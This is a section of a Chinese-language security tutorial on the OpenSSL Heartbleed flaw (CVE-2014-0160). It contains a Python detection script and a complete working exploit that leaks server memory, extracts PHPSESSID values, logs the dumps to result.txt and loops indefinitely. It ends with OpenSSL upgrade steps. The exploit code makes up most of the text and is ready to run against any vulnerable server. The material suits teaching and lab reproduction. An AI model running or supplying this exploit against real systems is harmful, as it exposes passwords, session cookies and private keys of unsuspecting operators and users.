3.4 OpenSSL 漏洞

心脏滴血漏洞(CVE-2014-0160)

漏洞描述

2014年4月7日，OpenSSL发布安全公告，在OpenSSL1.0.1版本及其OpenSSL 1.0.2 Beta1中存在严重漏洞，由于未能正确检测用户输入参数的长度，攻击者可以利用该漏洞，远程读取存在漏洞版本的OpenSSL服务器内存中64K的数据，获取内存中的用户名、密码、个人相关信息以及服务器的证书等私密信息。

漏洞复现

首先我们使用我们的poc进行漏洞检测.

#!/usr/bin/python
# coding:utf-8
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([e-mail])
# The author disclaims copyright to this source code.

import struct
import socket
import time
import select


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return False

        if typ == 24:
            return True

        if typ == 21:
            return False


def check(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(hello)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
        s.send(hb)
        if hit_hb(s):
            print "Heartbleed OpenSSL: %s : %s" % (host, str(port))
        else:
            print "Not Vulnerable."
        s.close()
    except:
        pass

if __name__ == '__main__':
    check('192.168.59.103', 443)

将check内的内容修改为你自己的地址与端口

出现如下界面则说明存在漏洞

使用exp脚本获取信息

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford
# ([e-mail])

# Modified by Derek Callaway ([e-mail]) to add STARTTLS protocols

# The authors disclaim copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(
    usage='%prog server [options]',
    description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443,
                   help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='',
                   help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


def p(data):
    user = '/PHPSESSID(.*?)\./'
    reg = re.compile(user)
    print reg.findall(data)

key = ''


def hexdump(s):
    global key
    r = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
        # print '  %04x: %-48s %s' % (b, hxdat, pdat)
        # print "%s" % pdat.strip(),
        r = r + pdat
    fi = r.replace('..', '').replace('ZZZZZ', '').replace('\.\.', '')
    print "%s" % fi
    # p(r[:1500])
    if fi != key:
        f = open('result.txt', 'a')
        f.write(fi)
        f.close()
        key = fi
    # print
def recvall(s, length, timeout=4):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

BUFSIZ = 1024


def main():
    opts, args = options.parse_args()

    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print 'Connecting...'

    s.connect((args[0], opts.port))

    if opts.starttls != '':
        print 'Sending STARTTLS Protocol Command...'

    if opts.starttls == 'smtp':
        s.recv(BUFSIZ)
        s.send("EHLO openssl.client.net\n")
        s.recv(BUFSIZ)
        s.send("STARTTLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'pop3':
        s.recv(BUFSIZ)
        s.send("STLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'imap':
        s.recv(BUFSIZ)
        s.send("STARTTLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'ftp':
        s.recv(BUFSIZ)
        s.send("AUTH TLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'xmpp':  # TODO: This needs SASL
        s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
        s.recv(BUFSIZ)

    print 'Sending Client Hello...'

    s.send(hello)

    print 'Waiting for Server Hello...'

    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    try:
        while 1:
            main()
    except:
        time.sleep(5)
        while 1:
            main()

执行：

$ python exp.py 192.168.59.103

读取到的信息在当前目录下的 result.txt 内。

批量版扫描软件

解决方案

1、OpenSSL 已经针对该漏洞发布了1.0.1g版本，如果用户所用OpenSSL是存在漏洞的1.0.1版本，

请升级到1.0.1g及其以上的版本；如果用户所用OpenSSL是1.0.2 Beta1版本，请升级到1.0.2 Beta2及其以上的版本。

以Linux系统源代码编译升级为例，具体操作步骤为：

1）检查服务器OpenSSL版本：

命令：root@localhost# openssl version 

结果：OpenSSL 1.0.1f 6 Jan 2014 

2）检查现有版本是否存在漏洞，存在漏洞的版本列表请参见OpenSSL漏洞详情页面（OpenSSL TLS Heartbleed 信息泄露漏洞）的受影响系统 

3）下载OpenSSL的新版本，官方下载页面（ http://openssl.org/source/）

4）解压缩，并安装新版本：

root@localhost# tar xvfz openssl-1.0.2a.tar.gz 

root@localhost# cd openssl-1.0.2a/ 

root@localhost# ./config 

root@localhost# make && make install 

5）再次检查OpenSSL版本，确认新版本已安装